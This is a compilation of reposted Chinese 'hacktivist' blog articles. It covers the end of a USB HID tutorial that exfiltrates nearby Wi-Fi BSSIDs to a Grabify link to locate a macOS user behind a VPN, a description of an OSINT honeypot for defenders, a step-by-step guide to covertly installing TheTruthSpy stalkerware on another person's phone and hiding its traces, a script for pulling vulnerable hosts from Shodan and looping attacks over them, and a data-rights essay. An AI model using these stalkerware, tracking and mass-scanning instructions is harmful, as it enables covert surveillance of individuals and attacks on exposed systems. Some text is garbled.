connecting: 22% complete connecting: 28% complete
connecting: 33% complete 」 Device has firmware
version 1.6 」 Available space for user
applications: 6012 bytes 」 Suggested sleep time
between sending pages: 8ms 」 Whole page count: 94
page size: 64 」 Erase function sleep duration:
752ms parsing: 50% complete 」 Erasing the memory
... erasing: 55% complete erasing: 60% complete
erasing: 65% complete 」 Starting to upload ...
writing: 70% complete writing: 75% complete
writing: 80% complete 」 Starting the user app ...
running: 100% complete 」」 Micronucleus done.
Thank you!
```

如果不起作用，请尝试断开连接，然后再次尝试上传。您可能还需要稍微调整USB插槽中的 Digispark 使其接触，具体取决于计算机使用的插槽类型。

步骤5：执行脚本并检查跟踪日志

现在代码已在 Digispark 上，我们可以将其插入并观看它的运行。

确保已退出所有终端窗口，然后插入 Digispark 以查看有效载荷运行并查找任何潜在的故障。您可能需要根据看到的内容调整脚本的时间。

一旦脚本顺利执行，就可以检查 Grabify 跟踪页面以查看是否获得了想要的效果。希望看到的是 VPN 的IP地址，以及附近很长的 Wi-Fi 网络的字符串。

「图」

「图」

在上面的结果中，已经成功接收到属于目标附近网络的一串SSID和BSSID，以便我们进行跟踪。

可以获取第一个网络 RedPolish 的 BSSID，并通过 Wigle Wifi 运行它，以查看是否找到该网络的位置。

如果您没有看到引荐来源网址，那可能是因为附近网络的字符串太长。您可以在有效载荷中的 **tr -d '-'** 行之后添加 **cut -c -200** 来尝试解决此问题，从而将发送的字符总数减少到最多200个。

在 Wigle.net 上，可以使用搜索功能来查找感兴趣的 BSSID。

「图」

「图」

很棒 ~ 即使VPN说这是澳大利亚，我们也通过跟踪他们实际靠近的网络的位置来证明用户实际上位于洛杉矶。 该VPN并不能为保护目标计算机提供帮助。

在 Arduino 中创建HID有效载荷很容易

如上，已经证明了使用macOS计算机上的内置工具创建一个跟踪脚本很容易，可以与一块价值1美元的 Arduino 开发板一起交付。

保持计算机处于未锁定状态和无人看管状态，就很容易导致此类攻击，因此在关闭笔记本之前，请始终关闭并锁定，甚至是短暂地无人值守也要这样做。

您可以通过更改默认的快捷键来使您的计算机受到这种攻击的可能性减小，从而使 Spotlight 搜索栏之类的东西可以使用其他组合键来启动。您可以在终端运行 **crontab -l** 以查找任何可疑的东西并列出它们。○

Defeat VPNs & Track a MacOS Computer Remotely

原文

工具：用于蓝队的模块化开源情报蜜罐 - iYouPort

hacktivist

这是**hakin9** 介绍的工具，蓝队是一群技术人员，他们对信息系统进行分析以确保安全性，识别安全性缺陷，验证每个安全性措施的有效性，并确保所有安全性措施在实施后仍然有效。

「图」

「图」

「图」

Manuka 是一个开源情报蜜罐，它可以监测威胁行为者的侦察企图，并为蓝队人员生成可操作的情报。

它创建了一个由阶段性开源情报源组成的模拟环境，如 社交媒体资料和泄露的证书，并跟踪对手感兴趣的迹象，与 MITRE 的 PRE-ATT&CK 框架紧密结合。Manuka 为蓝队提供了攻击前侦察阶段重要的额外可见性，并为防御者提供预警信号。

虽然规模和复杂程度各不相同，但大多数传统的蜜罐都集中在网络上。这些蜜罐在网络杀戮链的第2阶段(武器化)至第7阶段(目标行动)中发现攻击者，其假设是攻击者已经在探测网络。

「图」

「图」

而 Manuka 在网络杀戮链的第一阶段（Reconnaissance）进行开源情报威胁检测。尽管已经在网络防御系统上投入了数百万美元，但这样的组织还是可以通过一次谷歌搜索轻易地被入侵。最近的一个例子就是，黑客通过在公开网络上留下的 Zoom 信息曝光了企业内部会议、

治疗课程、和大学课程。

组织需要在其周边检测这些开源情报威胁，但缺乏这样做的工具。Manuka 为此而来。

使用 Manuka，用户可以轻松添加新的侦听器模块，并将其插入到 Docker 化环境中。可以同时协调多个活动和蜜罐，以扩大蜜罐面。此外，用户还可以快速定制和部署 Manuka 以匹配不同的用例。

Manuka 的数据被设计成可以很容易地移植到组织工作流程中的其他第三方分析和可视化工具上。

由于开源情报技术的复杂性和广泛性，设计一个开源情报蜜罐可能是一个新的挑战。然而，这样的工具可以让蓝队人员在网络威胁情报策略中 “左移”。

【注：左移测试是软件测试和系统测试的一种方法，在该方法中，测试是在生命周期的早期执行的，即 格言 “尽早且经常测试” 的前半部分。】

仪表板

「图」

「图」

工具设计

Manuka 建立在以下关键术语和流程之上。

「图」

「图」

- Sources：可能的开源情报向量，例如 社交媒体资料，公开的凭据和泄漏的源码
- Listeners：监视源以与攻击者进行交互的服务器
- Hits: 感兴趣的指标，例如尝试使用泄露的凭据和社交媒体上的相关信息进行登录
- Honeypots: 组织成一个 Campaign 的源和侦听器组，可分析和跟踪一段时间内的匹配

系统设计

「图」

「图」

该框架本身包含几个可以部署在单个主机上的Docker容器。

- manuka-server：中央 Golang 服务器，它执行CRUD操作并从侦听器中提取匹配
- manuka-listener: 模块化的 Golang 服务器，可以执行不同的侦听器角色
- manuka-client：React 仪表板，供蓝队管理 Manuka 的资源

这些容器通过单个 docker-compose 命令进行编排。

在开发中，组件在各自容器中的以下端口上运行：`#manuka-client: 3000`

- `manuka-server: 8080`
- `manuka-listener: 8080`

1. `8081` for the staged login webpage

- `8082` for interacting with the staged email

1. `docker 」= 19.03.8`

- `docker-compose 」= 1.25.4`
- `ngok 」= 2.3.35`

1. 初始化 ngok ./ngok http 「manuka-listener port」 记下 https URL

- 在 Google PubSub 仪表板的左侧菜单上，转到 *Subscriptions -」「subscription name」 -」 Edit Subscription* 并将端点URL更改为 「*ngok https URL」/notifications*
- 尝试将电子邮件从另一个帐户发送到目标Gmail帐户。您应该在 ngrok 控制台上看到 POST / notifications 200 OK，在 Docker 控制台上看到 Received push notification

1. 与前面类似，请确保所有设置均已就绪。请注意，订阅URL现

在应该位于 http://DOMAIN / notifications

- 将您的域名指向您的服务器IP
- 将 docker/nginx/nginx.prod.conf.example 复制到 docker/nginx/nginx.prod.conf 中，并将 examplecompany.com 替换为您的作业域
- 运行 init-letsencrypt.sh 来生成SSL证书

1. NGINX_USERNAME 和 NGINX_PASSWORD 是您的仪表盘基本认证。

- COMPANY_NAME 是假冒的登录页面公司名。

源码：Manuka

原文

如何全面间谍任何人的智能手机私密活动-黑客主义行动力（3） - iyouport

hacktivist

【2020年6月30日存档】普通人都可以做到！只需2～3分钟

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》

今天将继续 《Mr. Robot》的故事。

在第三集中，技术精湛的 CTO Tyrell Wellick 获取了首席执行助手的智能手机访问权限，他趁后者去洗澡的时候拿起手机并在上面安装了间谍软件以监视他。

这是 Tyrell 下载此跟踪应用并将其安装到目标人电话中的画面。☞ 要做到这点，只需要物理接触目标人的手机2～3分钟即可。

本教程将研究可以安装用于跟踪和窃取智能手机中的信息的某些软件（不论是出于合法目的还是恶意目的）。

一些用于跟踪的应用程序

「图」

iOS 和 Android 平台上都有许多可用于跟踪/间谍的应用程序。**FlexiSPY** 可能是其中最好的，在剧中 Tyrell 正在使用的似乎就是这种。

- 《如果你的手机被安装了间谍软件怎么办》这篇文章中描述的就是这种间谍软件，所有人都可以使用的，而不是价值几百万美元的那种

它适用于 iOS、Android、BlackBerry 或 Symbian。下面是其网站上列出的一些功能。

具有上述所有功能的 Premium FlexiSPY 每年的费用为349美元。而且还有其他公司提供的其他众多 **iPhone** 和 **Android** 间谍程序包。包括：

- mSpy
- PhoneSheriff
- iKeyMonitor
- TheTruthSpy
- 以及更多，更多……

这些应用中的大多数都不会被放入您的应用商店中，因为它们被认为是恶意的，但是，有些的确会进入应用商店。

应用程序商店中提供了一些功能有限的间谍应用程序，可以跟踪GPS位置，例如，雇主可能想跟踪员工的位置、或者父母可能想跟踪孩子的运动、或找到丢失的手机的位置等。

这些均被视为合法应用。在 Google Play 商店中，这些包括：

- Several apps named “Cell Tracker”
- GirlFriend Cell Tracker
- Mobile Location Tracker
- GPS Phone Tracker Pro
- 以及更多（链接是列表）

这些应用程序主要跟踪手机的位置，无法执行上述付费应用程序才能执行的许多操作，例如 盗取短信和电子邮件、窃听对话、监视 WhatsApp 和其他聊天程序、控制电话等。

使用智能手机间谍应用程序

「图」

在继续之前，您也许需要记住一些事：# 您必须对目标电话/移动设

备具有物理访问权限。您必须能够将移动间谍软件下载到要跟踪的设备上，并且无需在你自己的手机或计算机上下载任何内容。安装和激活仅需要**2–3**分钟。

- 您必须可以访问互联网。这些间谍软件应用程序将手机/平板电脑内部的数据传输到中央服务器，然后您就可以在其中访问数据。也就是说您必须从其他设备访问互联网。
- 可能不言而喻，但是请确保间谍软件与目标手机的操作系统兼容。
- 请注意，在大多数管辖区中，在不是您自己的设备上安装跟踪软件是非法的。

1. GPS跟踪

- 阅读邮件
- 窃听电话
- 阅读 WhatsApp 和其他私密消息
- 跟踪互联网浏览历史记录
- 窥探照片
- 发送命令到手机
- 还有其他一些！

第二步：安装 TheTruthSpy

「图」

在移动设备上安装任何间谍软件之前，您需要更改安全设置。

默认情况下，Android 和 iOS 旨在仅允许从其官方商店/存储库安装应用程序。您需要改变这一点。

在 Android 上，转到 “安全性” 设置，然后允许从 “未知来源” 安装应用。*null-byte*

接下来，从 android.thetruthspy.com 下载试用版，然后点击 “下载完成” 通知（或在 “下载” 应用中找到该文件）以运行安装程序文件。*null-byte*

此时，您将需要单击所有提示和警告以继续安装该应用程序。*null-byte*

安装完成后将其打开，因为您需要将其链接到您的帐户或在此处使用您的电子邮件地址开设一个帐户。*null-byte*

全程只需要**2–3**分钟，间谍软件即已安装并可以使用！

☞ 为确保目标人不会发现任何问题，请设置重新禁用 “未知来源”（如果以前未选中的话），并从 “下载” 应用中删除 .apk 文件，并隐藏 TheTruthSpy 的图标。

第三步：登录到控制面板

「图」

现在您已经在目标手机上安装了 TheTruthSpy，可以从云中访问目标电话的信息了。

已在目标手机上安装的间谍软件会将手机上的所有信息中继到服务器。然后您就可以通过 my.thetruthspy.com 上的帐户访问该服务器，如下所示。

使用您刚才设置的凭据登录后，如下图所示的仪表板会出现。

由于这是试用版软件，因此某些功能不可用，但是，⚠即使该试用版软件也具有通过GPS跟踪的功能，可为您提供所有的 **SMS** 历史记录、呼叫历史记录、**Twitter** 历史记录、以及 “自动应答”。

⚠在这里您可以看到通话记录屏幕。它列出了每一个呼叫（只是为了保护无辜者而删除了姓名）、还有呼叫的日期和时长。*null-byte*

在这里您可以看到目标进行的文本对话。用户的所有短信均在此处可见。*null-byte*

它还使您能够跟踪手机（即 目标用户）的位置。

自动应答

「图」

TheTruthSpy 中的新功能之一是自动应答功能。

⚠ 此功能使您能够拨打目标电话，它将会自动接听电话 —— 通过这种方式，攻击者可以利用手机麦克风窃听对方环境中的所有对话。

这里还有许多其他功能，但是必须付费才能启用它们。

⚠ 可以想象，这种软件在网络间谍、网络战、刑事调查、法医取证、和许多其他目的上有无数种应用 —— 而且它是如此的便宜！绝大部分人都用得起。

它唯一的需要就是恶意女仆的物理接触机会，而且只需要2 ~ 3分钟即可。所以，切勿随意放置您的电子设备、不要招惹莫名其妙的人回家，要知道，Tyrell Wellick 那种人在现实中遍地都是。

简介如图 👆，这本书在这里下载：https://t.me/iyouport/6851 ○□

How to Spy on Anyone’s Smartphone Activity

原文

如何自动扫描易受攻击的设备-黑客主义行动力（13） - iyouport

hacktivist

【2020年9月17日存档】黑客军团如何找到邪恶公司的攻击入口？

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《如何发送欺骗性短信？- 黑客主义行动力（9）》
- 《如何入侵目标的电子邮件和银行账户：黑客主义行动力（10）》
- 《如何黑入汽车：黑客主义行动力（11）》
- 《如何控制目标人的安卓手机：黑客主义行动力（12）》

对 Shodan 的介绍已经很多，比如这里《搜远程桌面、摄像头、打印机、家用设备 … 等一切的超级Shodan搜索：恐怖指南》，以及下面这本书。

这本书在这里下载：https://www.patreon.com/posts/xiao-e-mo-wan-38190098

由于连接到互联网的众多设备具有不同的安全级别，因此该搜索引擎的特殊功能意味着它可以提供渗透测试和攻击的目标设备列表。

这份教程将使用 Python 定位特定的软件漏洞，并从 Shodan 中提取易受攻击的目标IP地址。

任何连接到互联网的设备都必须透露一些关于自身的信息。这可能是相对有限的，聪明的系统配置可以阻止大多数不受欢迎的请求。在一些设备上也许可以通过扫描端口以揭示诸如在网络服务器上运行的服务或连接到无线网络的网络摄像头的名称。

在 Mr. Robot 第3季第1集中，主人公为了收集邪恶公司的信息，使用 Shodan 搜索引擎。Tyrell 和 Angela 在他的身边，目不转睛地看着 Elliot 的影子人格 Mr.Robot 进行 “Apache Tomcat” 的搜索。

这种搜索可以揭示潜在目标的基本信息。利用同样的技术，我们来看看使用 Shodan 的搜索功能到底能找到什么，以及如何利用它来执行黑客攻击。

步骤1：使用Shodan

「图」

可以像大多数其他搜索引擎一样，通过在Web浏览器中导航到 shodan.io 来访问 Shodan。

但是与普通的搜索引擎不同，在使用 Shodan 时通常会寻找设备的 header信息，或者除了设备的 HTTPWeb 内容之外的其他信息，通过传统搜索引擎找不到的那些东西。

在 Mr. Robot 中，主人公使用的搜索是这样的：

```
org:"Evil Corp" product:"Apache Tomcat"
```

由于这个邪恶公司 Evil Corp 是虚拟的，于是如果您使用完全相同的搜索也许不会返回任何内容（有人居然说返回了内容！）

搜索字符串的第二个部分，即 “product” 过滤器仍然是功能强大且有用的搜索。该选项仅适用于注册用户。可以通过单击主页右上方的

“登录/注册” 按钮或直接访问 account.shodan.io/register 来注册 Shodan 帐户。

注册 Shodan 帐户后它将提供许多其他搜索功能。比如下面这些过滤器：

- country：搜索指定的国家
- city：搜索指定的城市
- geo：搜索指定的地理位置，参数为经纬度
- net：搜索指定的IP地址或子网
- os：基于操作系统的过滤器
- port：搜索指定的端口或服务

可以使用与 Mr.Robot 示例中相同的格式来应用这些过滤器，就包含在搜索中，后跟冒号和搜索项。下面是一个格式，可用于 Shodan 中可用的任何过滤器。

```
filter:"Keyword"
```

在此示例中，“filter” 就是所使用过滤器的名称，“Keyword” 就是在此过滤器类别内搜寻的搜索词。可以应用多个过滤器，只需要用空格隔开即可。

如图所示，“ Apache Tomcat” 搜索在 Shodan 上使用时确实会返回结果。您可以通过搜索下面这个例子进行测试。

```
product:"Apache Tomcat"
```

您可以看到返回了超过140万个结果。该搜索提供了一些有关使用 Apache Tomcat 的位置和组织的有趣数据，但是对于黑客来说，这些结果可能具有不同的效用。

攻击者会专门搜索服务器或使用具有已知漏洞的过期软件的联网设备，以便找到可利用的攻击点。这个过程可以像 Mr.Robot 那样手动完成，也可以通过使用脚本语言和 Shodan 的API来实现自动化。

步骤2：检索 Shodan API 密钥

「图」

为了使用 Shodan 的API在绕过 Web 界面的同时直接请求和接收数据，您需要使用API密钥。此API密钥可以通过导航到 Shodan 网站

“我的账户” 部分进行检索，链接在主页的右上角，或者打开 account.shodan.io 即可。

这个密钥将被插入到用于进行API调用的 Python 代码中，所以将其复制到剪贴板、或将其保存到文件，可能会很有用。

步骤3：使用 Python 调用 Shodan API

「图」

为了使用 Python 来请求 Shodan API，需要安装一个功能性 Python 环境以及 Shodan Python 模块。

本示例使用了 Python 2.7。Python 3 也可以使用该模块，但是需要对本教程显示的脚本进行一些语法更改。在基于 Debian 的 Linux 操作系统上，可以通过打开终端模拟器并运行下面的命令来安装 Python 2.7。

```
~$ sudo apt-get update &amp;&amp; sudo apt-get
install python2.7
```

「图」

安装 Python 后也可以安装 Shodan Python 模块。可以使用 **pip** 或使用 “简易安装”。下面的命令旨在使用 **apt-get** 安装 Pip 。

```
~$ sudo apt-get install python-pip
```

安装 pip 之后，可以使用 pip 来安装 Shodan Python 模块。

```
~$ sudo pip install shodan
```

如果您的设备上存在多个版本的 Python，并且可能存在多个 pip 版本，则可能需要使用以下命令来指定要安装的 Python 2.7 模块。

```
~$ sudo pip2.7 install shodan
```

如果上述这些都不成功，还可以通过运行下面的命令来安装该库。

```
~$ easy_install shodan
```

安装了 Python 和 Shodan库之后就可以开始编写一个新的 Python 脚

本。在 Linux 命令行中，创建一个新文件并使用 **nano** 开始编辑它。

一定要选择 “shodan” 以外的文件名，这样在引用库和脚本之间不会造成冲突。下面创建一个名为 “search.py” 的文件。

```
~$ nano search.py
```

要添加到这个文件中的第一件事是一个将加载 Shodan 库的行。可以使用 Python 的 **import** 来实现，如下所示。

```
import shodan
```

接下来开始定义您的 Shodan API 密钥，以便脚本可以使用它来进行API查询。添加以下行来执行此操作。

```
SHODAN_API_KEY = "insert your API key here" api =
shodan.Shodan(SHODAN_API_KEY)
```

用您从 Shodan 网站检索到的API密钥替换 “在此处插入您的API密钥” 字段，留下引号将字段包含在内。

接下来可以使用 **try** 声明来定义脚本应该尝试的内容。可以添加一个使用 Shodan API 的 **api.search** 单元来实际请求搜索结果的命令。

「图」

本示例中搜索字符串只是简单的 **apache**，您可以用任何需要的搜索替换它，包括带有过滤器的搜索，比如上述那样。可以使用下面代码末尾附近显示的一组打印命令来返回此搜索的结果。

该脚本现在应该与下面图中所显示的代码类似。有关 Shodan API 和此代码的更多信息，请参阅其文档页面。

该脚本现在可以保存和测试。在 nano 中，可以用 Ctrl + O 保存脚本，用 Ctrl + X 退出 nano 。在同一个目录下，可以使用下面的命令来运行脚本。

```
~$ python2 script.py
```

运行该脚本应返回一些IP地址和一些与之相关的信息，包括 Shodan 索引的 HTTP 状态、位置和其他设备信息。该信息的格式与在Web界面中搜索时显示的数据非常相似。

虽然这些附加信息可能允许其他脚本和工具处理其他标准，但如果希望自动收集和测试针对IP地址的攻击过程，那么此格式在很大程度上是不必要的。

为了只返回**IP**地址，您可以改变 Python 脚本的格式。首先可以从下面的行中删除 **IP:** 前缀。

```
print 'IP: %s' % result'ip_str'
```

看起来就像这行：

```
print '%s' % result'ip_str'
```

还可以删除其前面的行和其后面的两行。

```
print 'Results found: %s' % results'total' print
result'data' print ''
```

该脚本现在应如下图所示。

运行这个脚本的时候它会返回一个IP地址列表，而没有其他不必要的内容。

这个列表对于自动攻击来说是非常有用的，但是我们需要一个有效的方法来保存它。可以使用 shell 操作将输出直接发送到日志文件。在运行脚本时，请包含 」」 运算符，后跟您希望将输出发送到的文件的名称。

```
~$ python2 search.py 」」 log.txt
```

现在就有一个包含IP列表的文本文件，可以用它来测试各种攻击，这取决于您用来识别特定类型的易受攻击的系统的搜索术语。

步骤**4**：使用 **Shodan** 结果自动执行任务

「图」

对于可以使用IP地址作为参数的命令行实用程序的示例，这里将使用 **ping**。

积极尝试攻击或利用 Shodan 发现的设备将是非法的和不负责任的，所以如果您实际上利用任何东西，请确保只运行您有权在目标上使用

的工具。

首先，我们将使用 nano 创建一个新的 shell 脚本，就像之前所做的那样。

```
~$ nano ping.sh
```

可以用 “crunchbang” (**#!** 符号) 和 shell 声明开始脚本。这表明它是一个 shell 脚本，由 bash shell 运行。

```
#!/bin/bash
```

接下来可以添加一条语句，以便可以对IP列表文件的每一行分别进行操作。

「图」

该脚本现在应该看起来像下面这样。

现在可以用 Ctrl + O 保存这个脚本，然后用 Ctrl + X 再次退出 nano 。为了能够运行该脚本，需要通过使用 **chmod** 赋予它这个特权，将它标记为我们的操作系统的可执行文件。

```
~$ chmod +x ping.sh
```

现在可以从命令行运行该脚本了。

```
~$ ./ping.sh
```

脚本应该迭代地址中的每个IP，并向每个IP发送一个 ping。

如果有效，那意味着您现在已经成功检索 Shodan 结果，并单独处理它们了。Ping 不是一个攻击媒介，但只需进行一些细微的更改，攻击者就可以使用类似的脚本来达到恶意目的。

步骤5：武器化攻击

「图」

原始的 Python 脚本经过一些小的调整就可用于更复杂的攻击或渗透测试。下面显示了 shell 脚本的 “while” 迭代的基本 **ping** 命令。

```
ping $line
```

该命令中的 **$line** 变量表示IP列表文件 log.txt 的每一行。可以用任何其他包含IP地址作为参数的字符串替换这个 ping 命令。可以使用 **nmap** 通过下面的命令端口扫描目标IP，使用 **-sS** 参数进行服务扫描。

```
nmap -sS $line
```

虽然每个连接互联网的设备都有多种方式可以被 Shodan 等扫描服务索引，但人们可以通过在 watsmyip.org 这样的网站上检查自己的外部IP、并在 Shodan 上搜索这个IP，来检查本地网络和路由器的安全性，看看有什么样的信息被暴露了。

其他应用

「图」

这种格式可以扩展到几乎任何其他可以从命令行发起的攻击并包括一个IP。这种对多个目标的扫描和攻击是极其有效的方法，可以发现有漏洞的系统，而不必花时间单独手动查找和攻击。

这种方法可以应用于各种不同的攻击，使用Shodan、Python、shell脚本或其他工具，只要它们有能力找到设备并在没有用户输入的情况下攻击它们。〇

How to Use the Shodan API with Python to Automate Scans for Vulnerable Devices

原文

“数据所有权”不仅无法解决现有问题，它还制造了新的问题 - iyouport

为什么

【2019年5月30日存档】为什么监视资本主义巨头们可以面带微笑地告诉你，你的数据“属于”你？因为这并不会影响他们从你身上榨取利益 — — 这一描述本身是个陷阱。为什么？怎样才能制定合理的措施以维护21世纪的民主？

2023 年的夏天 Rachel 破产了。她正坐在酒吧里，从手机上浏览招聘广告。这时她收到了短信，来自研究肝功能的研究人员。他们是从酒吧的“忠诚度计划”中获取 Rachel 的个人资料的，Rachel 签约该计划是为了获得折扣。该计划支付给签约者 50 美元一个月，以允许他们获取 Rachel 等签约者手机上的健康流数据。

起初，Rachel 对这种隐私侵犯感觉有点恼火，但是她需要钱。于是她“同意”了。这是一种微妙而独特的同意姿态，而且具有法律约束力。

而现在，Rachel 惊讶地注意到自己一次次被雇主拒绝，而她的朋友们接二连三地找到了工作。她并不知道—— 因为她没有阅读细则——正是研究中的一些数据、以及她购买酒的历史记录，导致的她难以找到工作。每一个向该调查机构申请查看数据的雇主都能看到，Rachel 被算法描述为“郁闷的和不可靠的”。难怪她找不到工作。

但是，即使她能发现自己被这样描述了，她又有什么追索权？

生命中的一天

如果您正在阅读本文，您就很有可能已经像 Rachel 一样的状况。您每天都在创建大量的数据—通过在线阅读或购物，跟踪自己的锻炼，或者只是将您的手机放在口袋里，它都在不停地创造数据。这其中包括您有意创建的部分数据，但有更多的数据都是在您不知情的情况下通过您的行为创建的，更不用说同意了。

- 延伸阅读：《你的手机在监视你，你也可以监视它》
- 《移动设备上的应用程序都会保留用户的日常运动模式》
- 《新纪录片揭示 Facebook 和谷歌的真面目》
- 《前 Facebook 高管讲述了社交网络的真相》

近几十年来数据的激增已经使得一些人大为震惊。“你拥有自己的数据！” 芝加哥大学的 Eric Posner、微软研究院的 Eric Weyl、和虚拟现实大师 Jaron Lanier 等人认为，数据应视为占有。就连邪恶的马克扎克伯格也这么说过。Facebook 现在说：你“拥有你在 Facebook 上发布的所有联系和信息”，“你可以控制这些信息的共享方式。” 英国“金融时报” 认为 “答案的关键部分在于让消费者拥有自己的个人数据”。苹果首席执行官蒂姆库克在最近的一次演讲中也表示，“公司应该认识到数据属于用户。”

听起来很美？其实都是在骗人的。

- 延伸阅读：《Facebook 知道如何使用相机镜头上的灰尘跟踪你》
- 《现在必须知道 Facebook 对你做了什么》

“数据所有权”是一种有缺陷的、适得其反的数据思考方式。它不仅无法解决现有问题，它还创造了新的问题。这就是为什么上述那些监视资本主义巨头们可以面带微笑地告诉你，你的数据“属于”你。

“数据所有权” 是解决不了问题的。相反，我们需要一个框架，让人们有权规定如何使用他们自己的数据，而不需要他们自己拥有数据。

来自夏威夷的民主党人参议员 Brian Schatz 在12月推出了一项叫数据保护法的法案，就是在向这个方向迈进了一步。当然，最终如何还要取决于它的演变。来自阿拉巴马州的参议员道格·琼斯（Doug Jones）表示，“在线隐私和安全的权利应该是一项基本人权。”

“数据所有权”的概念很有吸引力，因为它建议给予用户权力自己控制自己的数据。但是，拥有和“租用”数据并不是一个好的描述。控制如何使用特定的数据只是一系列问题中的一个。真正的问题是关于数据如何塑造社会和个人。Rachel 的故事向我们展示了为什么数据权利是重要的，以及它们如何保护 Rachel 不仅仅是一个人，而是整个社会。

世事难料

要了解为什么数据所有权是一个有缺陷的概念，首先要考虑一下您正在阅读的这篇文章。

在电子设备上打开链接的行为创建了数据—— 浏览器历史记录中的条目，网站发送到浏览器的 cookie，网站服务器日志中的条目，以记录您的 IP 地址。只要你还在互联网上，不管你做什么或不做什么，都不可能避免留下数据阴影。这些阴影是不可被“拥有”的—— 不可能像你拥有一辆自行车那样—— 也许在阳光明媚的日子里，你可以短暂的看到这些阴影，比如棱镜文件的曝光、大型数据泄漏的新闻。但大多数时候你根本看不到它们。

- 延伸阅读：关联一个演示《⚠ 浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示》

您一个人的数据对营销人员或保险公司来说并不是非常有用的。然而，当结合了来自成千上万的其他人的类似数据并进行分析时，算法就会在你脸上贴上一条咒语—— 例如，“此人有吸烟习惯，是不健康的重度吸烟者”，或者 “此人注重健康，经常跑步锻炼，总是准时”。

记得中国的信用评分吗？

- 延伸阅读：《”深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》
- 《硅谷正在以其阴险的意识形态破坏民主》
- 《为什么民粹主义蓬勃发展？部分要归罪于今天的技术》
- 《美国版的“信用评分”：穿”错了”衣服会导致你被捕，怎么办？》

如果一个算法是不公平的—— 例如，如果它错误地将您归类为存在健康风险，因为它是在一个带有偏见的数据集上训练的，或者仅仅因为你是一个异常值—— 然后让你“拥有”你的数据并不会实现公平。避免受算法影响的唯一方法是永远不要让任何人访问您的数据。但即使你试图囤积与你有关的所有数据，企业和政府也可以访问有关其他人的大量数据，并因此可以使用这些数据来推断出关于你的一切。数据不是对现实的中立印象。

当然，您可以选择将所有数据保密，以避免被用于攻击您。但是，如果您遵循该策略，您最终可能会错失有时提供数据的暂时“好处”。例如，当您驾驶时，通过智能手机应用程序导航，您可以共享实时的匿名信息，然后转换为精确的交通状况。这些数据是私人的—— 陌生人无法看到你在哪里—— 但累积起来，这是一个集体利益。

即使是关于数据所有权的善意论证也在假设，如果你很好地管理个人数据，你将获得良好的社会结果。但这不是真的。

这就是为什么许多关于不公平使用数据的问题无法通过控制谁有权访问它来解决的原因。例如，在某些美国司法管辖区，法官使用算法生成的“风险评分”来做出保释和量刑的决定。这些软件程序预测一个人犯下未来罪行的可能性—— 少数派报告的剧情一直都是真实的。

想象一下，这样的算法表明你有99%的机会犯下另一个罪行，因为在人口统计学上与你相似的人往往是犯罪分子。这可能对您的案件不公平，但您不能“拥有”您的人口统计资料或您的犯罪记录，并拒绝让法律系统看到它。即使您拒绝同意使用“您的”数据，组织也可以使用其他人的数据进行影响您的利益的统计推断。这个例子强调了数据与权力有关的观点—— 被指控犯罪或被定罪的人通常比制定保释和量刑决定的人权力要低。

同样，现有的数据不公平使用解决方案通常不是涉及控制谁能访问数据，而是控制数据的使用方式。例如，根据美国平价医疗法案，健康保险公司不能因为某人已经存在疾病而拒绝此人或收取更多的保险费。政府没有告诉公司他们不能持有患者的数据; 它只是说他们必须忽略它。一个人不“拥有”她患有糖尿病的事实—— 但是她有权不因此而受到歧视。

“知情同意”经常被作为在数据使用方面应该受到尊重的基本原则。但是，由于缺乏政府监管以防止保险公司使用有关先前存在的数据，个人消费者缺乏拒绝同意的能力。他们缺乏这种能力的原因是保险公司拥有比他们更多的权力。坦白说，同意根本不起作用。

数据权利应该强调保护隐私，并且应该考虑到隐私不仅是保护自己免受社会侵害的被动权利。它是关于自我发展、远离商业和远离政府控制的自由。但数据权利不仅仅与隐私有关。与其他言论自由权利也一样有关，例如，数据权利基本上是为了在参与现代社会的同时确保个人自由和代理的空间。细节应遵循基本原则，而很多时候，阐述这些原则的尝试都陷入了诸如“选择同意模式”之类的赘疣中，这种模式很快就会过时。

世界各地都需要以适合各国法律制度的方式制定明确、广泛的原则。在美国，现行的宪法条款—— 如法律规定的平等保护和禁止“不合理的搜查和扣押”—— 是不够的。例如，很难说人们在公共场合持续跟踪一个人的行为是一种搜索。然而，这种监视的侵入性的影响与“不合理的搜索”相当。仅仅希望法院能够对18世纪的语言如何适用于21

世纪提出有利的解释是不够的。

- 延伸阅读：《为什么隐私保护法规并没能起到作用？》

数据权利法案应包括以下权利：

- 不得违反人民不受不合理监视的权利。
- 任何人不得秘密操纵他人的行为。
- 任何人不得以数据为由受到不公平的歧视。

这绝不是一项持久有效的法案所需的所有规定。但是它们应该是一个开端，以及这种文档所需要的清晰度和通用性的例子。

一起来：现在是制定数据权利法案的时候了

正如我们前面所说的那样，“数据所有权”是一种带有恶意后果的类别错误：您无法真正拥有大部分数据，即使可以，也经常无法保护您免受不公平行为的侵害。那么，为什么数据所有权这种解决方案会被流行呢？

答案是政策专家和技术专家经常默认接受数据资本主义的概念，即 将数据看作是资本来源（例如，Facebook 使用关于我的数据来定位广告）或作为劳动产品（例如，我应该得到关于我的数据被使用的报酬）。这些有可能都不对。当我们只能想到自行车、石油或金钱时，对数据的思考就无法反映出数据时代公民、国家和私营部门之间的关系有多么的深刻。如果我们想要建立一个公平的 21 世纪政体，就迫切需要一种新的范式来理解什么是数据—— 以及与之相关的权利。

利用环境做类比似乎更合适—— 将数据视为类似于温室气体或其他外部因素，其中一点点小污染可能就具有灾难性的集体后果。大多数人都重视自己的隐私，就像他们重视呼吸清洁空气的能力一样。隐私的逐渐侵蚀很难被及时察觉—— 就像痕量二氧化碳无法被监测到。但总的来说，正如大量温室气体对环境造成了根本性破坏一样，隐私性质的巨大转变也会对社会结构造成根本性损害。

